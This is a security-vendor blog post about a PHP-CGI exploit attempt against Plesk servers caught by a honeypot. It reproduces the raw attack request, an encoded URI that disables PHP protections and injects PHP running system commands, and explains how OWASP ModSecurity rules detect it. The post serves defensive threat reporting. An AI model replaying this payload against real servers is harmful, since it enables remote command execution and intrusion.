Trustwave SpiderLabs Uncovers Unique Cybersecurity Risks in Today's Tech Landscape. Learn More

Trustwave SpiderLabs Uncovers Unique Cybersecurity Risks in Today's Tech Landscape. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

[Honeypot Alert] Active Exploits Attempts for Plesk Vulnerability

Last week, hacker "kingcope" provided PoC expliot code for a Plesk 0-day on the Full Disclosure public mail-list. Our web honeypot systems received some exploit attempts so we wanted to share with the community. Here is an example request taken from our ModSecurity audit log:

--0cbefd64-A--
[10/Jun/2013:16:01:11 --0500] FI5-@MCo8AoAADlBVOIAAAAX 88.208.233.113 37872 XXX.XXX.XXX.XXX 80
--0cbefd64-B--
POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F
%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F
%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2
D%6E HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Content-Type: application/x-www-form-urlencoded
Content-Length: 93

--0cbefd64-C--
<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;uptime;exit"); ?>

The bolded/highlighted portion of the URI is encoded. When decoded, it is:

/phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d disable_functio
ns="" -d open_basedir=none -d auto_prepend_file=php://input -n

This shows the attempt to disable various PHP security functionality and then using default input to be able to appendd the request body content to the response page. The request body portion in section C shows that this request is a simply probe to verify if the web server is vunerable. If it was, it would have responded with results for the following OS commands:

  • uname - a
  • id
  • uptime

If ModSecurity users are running the OWASP ModSecurity CRS, they would already be protected from this attack. The CRS has many signatures/rules that triggered including:

Message: Warning. Pattern match "<\\?(?!xml)" at ARGS_NAMES:<?php echo "Content-Type:text/html\\r\\n\\r\\n";echo "OK\\n";system("uname -a;id;uptime;exit"); ?>. [file "/etc/httpd/modsecurity.d/crs/base_rules/modsecurity_crs_40_generic_attacks.conf"] [line "230"] [id "959151"] [rev "2"] [msg "PHP Injection Attack"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.7"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A6"] [tag "PCI/6.5.2"] [tag "WASCTC/WASC-25"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE4"] [tag "PCI/6.5.2"]

While there was some debate publicly about required Plesk configurations related to Apache ScriptAlias directives, it was determined that the real, underlying issue is the old PHP-CGI (CVE-2012-1823) vuln. We covered this issue in a previous Honeypot Alert blog post.

Latest SpiderLabs Blogs

Why We Should Probably Stop Visually Verifying Checksums

Hello there! Thanks for stopping by. Let me get straight into it and start things off with what a checksum is to be inclusive of all audiences here, from Wikipedia [1]:

Read More

Agent Tesla's New Ride: The Rise of a Novel Loader

Malware loaders, critical for deploying malware, enable threat actors to deliver and execute malicious payloads, facilitating criminal activities like data theft and ransomware. Utilizing advanced...

Read More

Evaluating Your Security Posture: Security Assessment Basics

This is Part 4 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More